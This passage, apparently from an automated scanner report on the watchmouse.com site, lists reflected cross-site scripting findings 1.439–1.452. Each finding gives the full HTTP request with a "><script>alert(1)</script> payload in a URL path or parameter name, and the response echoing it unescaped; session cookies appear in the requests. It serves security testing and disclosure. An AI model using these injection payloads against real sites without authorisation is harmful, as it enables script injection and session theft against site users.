Date: Wed, 09 Feb 2011 12:06:52 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-a9a2c997936dc8d0af26bb34bfef74cf"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13397

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature/api-and-web-services-cloud-monitoring.htmlbeb54"><script>alert(1)</script>dc0b88f9433" method="post">
...[SNIP]...

1.439. http://www.watchmouse.com/en/feature/api-and-web-services-cloud-monitoring.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/api-and-web-services-cloud-monitoring.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60d7f"><script>alert(1)</script>8f27bbd4825 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/api-and-web-services-cloud-monitoring.html?60d7f"><script>alert(1)</script>8f27bbd4825=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:06:49 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-8fa90c08501ebf73e13a862b1dde7698"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23114

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="/en/feature/api-and-web-services-cloud-monitoring.html?60d7f"><script>alert(1)</script>8f27bbd4825=1" method="post">
...[SNIP]...

1.440. http://www.watchmouse.com/en/feature/compare_plans.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/compare_plans.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4cf13"><script>alert(1)</script>6fdd1dec09c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en4cf13"><script>alert(1)</script>6fdd1dec09c/feature/compare_plans.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-5ed100168235b692a4ca25b8e4e68aaf"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13199

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en4cf13"><script>alert(1)</script>6fdd1dec09c/feature/compare_plans.php" method="post">
...[SNIP]...

1.441. http://www.watchmouse.com/en/feature/compare_plans.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/compare_plans.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b69d"><script>alert(1)</script>c3996150547 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature5b69d"><script>alert(1)</script>c3996150547/compare_plans.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:14 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-7917c81f8aaa01fa1264e9649b126e96"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13172

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature5b69d"><script>alert(1)</script>c3996150547/compare_plans.php" method="post">
...[SNIP]...

1.442. http://www.watchmouse.com/en/feature/compare_plans.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/compare_plans.php

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1671f"><script>alert(1)</script>203b8264d7f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/compare_plans.php1671f"><script>alert(1)</script>203b8264d7f HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:15 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b58daf6d0d5b2cb3e25431f51eadbe16"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13172

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature/compare_plans.php1671f"><script>alert(1)</script>203b8264d7f" method="post">
...[SNIP]...

1.443. http://www.watchmouse.com/en/feature/compare_plans.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/compare_plans.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a99b2"><script>alert(1)</script>6d22ff4967f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/compare_plans.php?a99b2"><script>alert(1)</script>6d22ff4967f=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:10 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-aa546511901888e7a70cd079e87020ff"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13199

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature/compare_plans.php?a99b2"><script>alert(1)</script>6d22ff4967f=1" method="post">
...[SNIP]...

1.444. http://www.watchmouse.com/en/feature/ipv6-performance-monitoring.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/ipv6-performance-monitoring.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1db0"><script>alert(1)</script>5dd715f3a03 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /enb1db0"><script>alert(1)</script>5dd715f3a03/feature/ipv6-performance-monitoring.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:00 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-a212367c275ffe8c0f1486af2d8ff4bc"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13334

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/enb1db0"><script>alert(1)</script>5dd715f3a03/feature/ipv6-performance-monitoring.html" method="post">
...[SNIP]...

1.445. http://www.watchmouse.com/en/feature/ipv6-performance-monitoring.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/ipv6-performance-monitoring.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eca04"><script>alert(1)</script>f8153d05f72 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/featureeca04"><script>alert(1)</script>f8153d05f72/ipv6-performance-monitoring.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:10 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-9c6109f5abbb15d18c62424830112bf9"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13307

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/featureeca04"><script>alert(1)</script>f8153d05f72/ipv6-performance-monitoring.html" method="post">
...[SNIP]...

1.446. http://www.watchmouse.com/en/feature/ipv6-performance-monitoring.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/ipv6-performance-monitoring.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e16cf"><script>alert(1)</script>49a14e52a8f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/ipv6-performance-monitoring.htmle16cf"><script>alert(1)</script>49a14e52a8f HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:11 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-6608d9a325f0a7f20bd56bf22af97cfd"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13307

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature/ipv6-performance-monitoring.htmle16cf"><script>alert(1)</script>49a14e52a8f" method="post">
...[SNIP]...

1.447. http://www.watchmouse.com/en/feature/ipv6-performance-monitoring.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/ipv6-performance-monitoring.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8aca1"><script>alert(1)</script>4484029025a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/ipv6-performance-monitoring.html?8aca1"><script>alert(1)</script>4484029025a=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:06:59 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-ce3bb42c6db13291bc353b062ff169e7"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 20987

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="/en/feature/ipv6-performance-monitoring.html?8aca1"><script>alert(1)</script>4484029025a=1" method="post">
...[SNIP]...

1.448. http://www.watchmouse.com/en/feature/privacy.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/privacy.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4432"><script>alert(1)</script>55c0466f113 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /enb4432"><script>alert(1)</script>55c0466f113/feature/privacy.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:11 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-0f4f320dd8ee4d0ddaba9ea9cd75837f"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13145

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/enb4432"><script>alert(1)</script>55c0466f113/feature/privacy.php" method="post">
...[SNIP]...

1.449. http://www.watchmouse.com/en/feature/privacy.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/privacy.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cda58"><script>alert(1)</script>9731a381c2e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/featurecda58"><script>alert(1)</script>9731a381c2e/privacy.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-bc4df4e5654c8a855186798ea477c728"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13118

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/featurecda58"><script>alert(1)</script>9731a381c2e/privacy.php" method="post">
...[SNIP]...

1.450. http://www.watchmouse.com/en/feature/privacy.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/privacy.php

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3859"><script>alert(1)</script>e5e0918e440 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/privacy.phpf3859"><script>alert(1)</script>e5e0918e440 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b01d643f5039e3a66b7066b82384252f"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13118

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature/privacy.phpf3859"><script>alert(1)</script>e5e0918e440" method="post">
...[SNIP]...

1.451. http://www.watchmouse.com/en/feature/privacy.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/privacy.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 46246"><script>alert(1)</script>9bf03c9f7d5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/privacy.php?46246"><script>alert(1)</script>9bf03c9f7d5=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:01 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-68dc770236128d3194a2ffe513a1baec"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13145

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature/privacy.php?46246"><script>alert(1)</script>9bf03c9f7d5=1" method="post">
...[SNIP]...

1.452. http://www.watchmouse.com/en/feature/public-status-page.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/public-status-page.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9bdc9"><script>alert(1)</script>bb88294aa54 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en9bdc9"><script>alert(1)</script>bb88294aa54/feature/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
